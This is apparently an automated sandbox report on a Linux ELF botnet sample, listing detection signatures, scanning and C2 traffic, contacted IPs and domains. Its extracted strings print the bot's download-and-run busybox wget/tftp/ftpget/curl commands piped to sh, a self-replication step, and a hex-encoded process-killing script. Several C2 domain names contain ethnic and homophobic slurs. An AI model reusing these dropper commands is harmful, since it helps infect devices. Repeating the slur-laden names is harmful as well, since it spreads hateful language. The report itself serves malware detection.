Linux Analysis Report
nklsh4.elf

Overview

General Information

Sample name: nklsh4.elf
Analysis ID: 1543148
MD5: 7b87424741e3972ff9d69d08c233b121
SHA1: 7ba47abe4bbf75f564504d1649b0af232702a2ba
SHA256: e0e9bd7c1b10302e7ebb6451cd8c3bfad71c2bc2ce59f50feb06f18c2cdd1ae4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nklsh4.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: nklsh4.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:57368 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.14:52686 -> 185.150.24.67:38241
Sample listens on a socket
Source: /tmp/nklsh4.elf (PID: 5497) Socket: 127.0.0.1:39148 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 46.132.231.109
Source: unknown TCP traffic detected without corresponding DNS query: 46.132.231.109
Source: unknown TCP traffic detected without corresponding DNS query: 201.145.232.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.112.136
Source: unknown TCP traffic detected without corresponding DNS query: 186.255.240.241
Source: unknown TCP traffic detected without corresponding DNS query: 128.57.113.189
Source: unknown TCP traffic detected without corresponding DNS query: 201.145.232.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.112.136
Source: unknown TCP traffic detected without corresponding DNS query: 128.57.113.189
Source: unknown TCP traffic detected without corresponding DNS query: 186.255.240.241
Source: unknown TCP traffic detected without corresponding DNS query: 151.57.189.87
Source: unknown TCP traffic detected without corresponding DNS query: 151.57.189.87
Source: unknown TCP traffic detected without corresponding DNS query: 4.143.241.14
Source: unknown TCP traffic detected without corresponding DNS query: 49.84.190.13
Source: unknown TCP traffic detected without corresponding DNS query: 16.28.203.51
Source: unknown TCP traffic detected without corresponding DNS query: 164.177.111.68
Source: unknown TCP traffic detected without corresponding DNS query: 4.143.241.14
Source: unknown TCP traffic detected without corresponding DNS query: 49.84.190.13
Source: unknown TCP traffic detected without corresponding DNS query: 16.28.203.51
Source: unknown TCP traffic detected without corresponding DNS query: 164.177.111.68
Source: unknown TCP traffic detected without corresponding DNS query: 60.121.96.85
Source: unknown TCP traffic detected without corresponding DNS query: 60.121.96.85
Source: unknown TCP traffic detected without corresponding DNS query: 20.89.65.84
Source: unknown TCP traffic detected without corresponding DNS query: 113.247.207.26
Source: unknown TCP traffic detected without corresponding DNS query: 51.170.158.251
Source: unknown TCP traffic detected without corresponding DNS query: 140.53.203.161
Source: unknown TCP traffic detected without corresponding DNS query: 78.230.125.128
Source: unknown TCP traffic detected without corresponding DNS query: 20.89.65.84
Source: unknown TCP traffic detected without corresponding DNS query: 149.148.195.63
Source: unknown TCP traffic detected without corresponding DNS query: 113.247.207.26
Source: unknown TCP traffic detected without corresponding DNS query: 126.225.201.234
Source: unknown TCP traffic detected without corresponding DNS query: 51.170.158.251
Source: unknown TCP traffic detected without corresponding DNS query: 140.37.45.201
Source: unknown TCP traffic detected without corresponding DNS query: 140.53.203.161
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.143.243
Source: unknown TCP traffic detected without corresponding DNS query: 78.230.125.128
Source: unknown TCP traffic detected without corresponding DNS query: 90.50.153.56
Source: unknown TCP traffic detected without corresponding DNS query: 149.148.195.63
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.56.31
Source: unknown TCP traffic detected without corresponding DNS query: 126.225.201.234
Source: unknown TCP traffic detected without corresponding DNS query: 140.37.45.201
Source: unknown TCP traffic detected without corresponding DNS query: 80.31.202.203
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.143.243
Source: unknown TCP traffic detected without corresponding DNS query: 174.29.141.203
Source: unknown TCP traffic detected without corresponding DNS query: 90.50.153.56
Source: unknown TCP traffic detected without corresponding DNS query: 218.82.157.181
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.56.31
Source: unknown TCP traffic detected without corresponding DNS query: 97.62.71.166
Source: unknown TCP traffic detected without corresponding DNS query: 124.37.251.26
Source: unknown TCP traffic detected without corresponding DNS query: 80.31.202.203
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: nklsh4.elf String found in binary or memory: http:///curl.sh
Source: nklsh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/0@9/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nklsh4.elf (PID: 5497) Queries kernel information via 'uname': Jump to behavior
Source: nklsh4.elf, 5497.1.00007fff70dc3000.00007fff70de4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: nklsh4.elf, 5497.1.000055ff13ca1000.000055ff13d04000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: nklsh4.elf, 5497.1.000055ff13ca1000.000055ff13d04000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: nklsh4.elf, 5497.1.00007fff70dc3000.00007fff70de4000.rw-.sdmp Binary or memory string: [Vx86_64/usr/bin/qemu-sh4/tmp/nklsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklsh4.elf
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
32.79.46.66
 unknown United States
2686 ATGS-MMD-ASUS false
23.242.192.207
 unknown United States
20001 TWC-20001-PACWESTUS false
3.109.8.167
 unknown United States
16509 AMAZON-02US false
223.22.41.191
 unknown Taiwan; Republic of China (ROC)
131142 APOL-AS-TWAsiaPacificOn-LineServiceIncTW false
188.204.246.35
 unknown Netherlands
1136 KPNKPNNationalEU false
147.54.151.165
 unknown Germany
6867 UCNETGR false
105.39.166.204
 unknown Egypt
37069 MOBINILEG false
99.143.113.148
 unknown United States
7018 ATT-INTERNET4US false
3.60.60.34
 unknown United States
8987 AMAZONEXPANSIONGB false
13.232.124.78
 unknown United States
16509 AMAZON-02US false
123.160.244.6
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
6.4.70.14
 unknown United States
668 DNIC-AS-00668US false
73.48.182.185
 unknown United States
7922 COMCAST-7922US false
202.93.60.211
 unknown Thailand
7470 TRUEINTERNET-AS-APTRUEINTERNETCoLtdTH false
138.20.119.18
 unknown United States
11078 BROWNUS false
1.71.181.129
 unknown China
132147 CT-SHANXI-MANNo3Shu-MaRoadCN false
184.235.195.124
 unknown United States
10507 SPCSUS false
140.123.53.253
 unknown Taiwan; Republic of China (ROC)
38844 NTNU-TWNationalTaiwanNormalUniversityTW false
65.106.129.60
 unknown United States
2828 XO-AS15US false
114.28.76.174
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
207.25.46.166
 unknown United States
701 UUNETUS false
157.112.148.18
 unknown Japan 9371 SAKURA-CSAKURAInternetIncJP false
110.39.206.22
 unknown Pakistan
38264 WATEEN-IMS-PK-AS-APNationalWiMAXIMSenvironmentPK false
164.79.219.253
 unknown United States
1239 SPRINTLINKUS false
206.46.224.54
 unknown United States
7021 VRIS-7021US false
149.139.209.214
 unknown Italy
137 ASGARRConsortiumGARREU false
7.103.84.55
 unknown United States
3356 LEVEL3US false
211.166.212.5
 unknown China
9389 UNSPECIFIEDBEIJINGSHENZHOUGREATWALLCOMMUNICATIONCN false
38.239.134.118
 unknown United States
174 COGENT-174US false
92.197.36.55
 unknown Germany
20676 PLUSNETDE false
15.67.172.20
 unknown United States
13979 ATT-IPFRUS false
162.95.203.88
 unknown United States
22703 ANTHEMUS false
43.187.109.36
 unknown Japan 4249 LILLY-ASUS false
96.58.97.60
 unknown United States
33363 BHN-33363US false
184.178.190.89
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
28.102.18.246
 unknown United States
7922 COMCAST-7922US false
180.33.60.6
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
8.125.159.87
 unknown United States
3356 LEVEL3US false
145.81.44.113
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
141.160.157.185
 unknown United States
197921 HBTFJO false
79.118.35.51
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO false
23.172.164.161
 unknown Reserved
7029 WINDSTREAMUS false
154.122.0.255
 unknown Kenya
12455 JAMBONETKE false
59.118.194.190
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
96.144.49.78
 unknown United States
7922 COMCAST-7922US false
161.102.214.234
 unknown United States
7582 UMAC-AS-APUniversityofMacauMO false
158.80.177.74
 unknown United States
20379 NET-BAKERUS false
111.33.21.199
 unknown China
38019 CMNET-V4TIANJIN-AS-APtianjinMobileCommunicationCompanyL false
142.67.215.104
 unknown Canada
22636 NOVA-SCOTIA-POWERCA false
88.110.185.21
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
63.12.254.114
 unknown United States
701 UUNETUS false
8.126.17.170
 unknown United States
3356 LEVEL3US false
164.90.42.37
 unknown United States
53449 OEC-FIBERUS false
52.67.118.221
 unknown United States
16509 AMAZON-02US false
107.6.182.133
 unknown United States
32475 SINGLEHOP-LLCUS false
169.147.23.237
 unknown United States
11659 KUMCUS false
74.177.254.8
 unknown United States
10796 TWC-10796-MIDWESTUS false
85.242.161.166
 unknown Portugal
3243 MEO-RESIDENCIALPT false
16.130.229.3
 unknown United States
unknown unknown false
202.54.157.112
 unknown India
4755 TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP false
112.157.34.220
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
197.183.197.216
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
208.205.30.83
 unknown United States
7385 ALLSTREAMUS false
150.28.106.36
 unknown Japan 6400 CompaniaDominicanadeTelefonosSADO false
192.179.82.189
 unknown United States
15169 GOOGLEUS false
27.245.178.97
 unknown Taiwan; Republic of China (ROC)
9674 FET-TWFarEastToneTelecommunicationCoLtdTW false
176.251.59.23
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
210.89.174.146
 unknown Korea Republic of
23576 NHN-AS-KRNBPKR false
120.125.25.191
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
95.245.54.112
 unknown Italy
3269 ASN-IBSNAZIT false
141.174.246.167
 unknown United States
29601 UPM-KYMMENE-ASKuusankoskiFinlandFI false
84.31.184.4
 unknown Netherlands
33915 TNF-ASNL false
25.248.228.117
 unknown United Kingdom
199055 UKCLOUD-ASGB false
51.134.66.39
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
34.220.176.237
 unknown United States
16509 AMAZON-02US false
194.180.92.108
 unknown Germany
199877 KENNAMETALDE false
210.152.164.59
 unknown Japan 2554 IDCF2554IDCFrontierIncJP false
54.190.3.108
 unknown United States
16509 AMAZON-02US false
71.104.119.61
 unknown United States
701 UUNETUS false
47.254.32.243
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
14.14.23.189
 unknown Japan 131927 TVMTVMatsumotoCablevisionJP false
67.218.35.19
 unknown United States
26326 ONENECK-IT-SERVICESUS false
42.242.49.192
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
144.149.209.114
 unknown United States
58541 CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN false
147.46.172.209
 unknown Korea Republic of
9488 SNU-AS-KRSeoulNationalUniversityKR false
195.225.46.176
 unknown Israel
12400 PARTNER-ASIL false
132.200.69.231
 unknown United States
10754 GOV-FRB-BOGUS false
184.87.33.70
 unknown United States
4771 SPARKNZSparkNewZealandTradingLtdNZ false
36.81.229.50
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
69.205.195.57
 unknown United States
11351 TWC-11351-NORTHEASTUS false
126.229.79.55
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
108.42.89.67
 unknown United States
5650 FRONTIER-FRTRUS false
187.211.32.181
 unknown Mexico
8151 UninetSAdeCVMX false
76.215.110.143
 unknown United States
7018 ATT-INTERNET4US false
80.215.129.166
 unknown France
5410 BOUYGTEL-ISPFR false
161.161.183.59
 unknown United States
263740 CorporacionLaceibanetsocietyHN false
21.117.50.183
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
58.93.35.77
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
144.138.237.114
 unknown Australia
135887 TELSTRA-BELONG-APTelstraCorporationAU false
158.4.153.47
 unknown United States
1504 DNIC-AS-01504US false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true
yellowchink.pirate 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
burnthe.libre 45.156.86.24 true
chinklabs.dyn. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown
yellowchink.pirate. [malformed] unknown unknown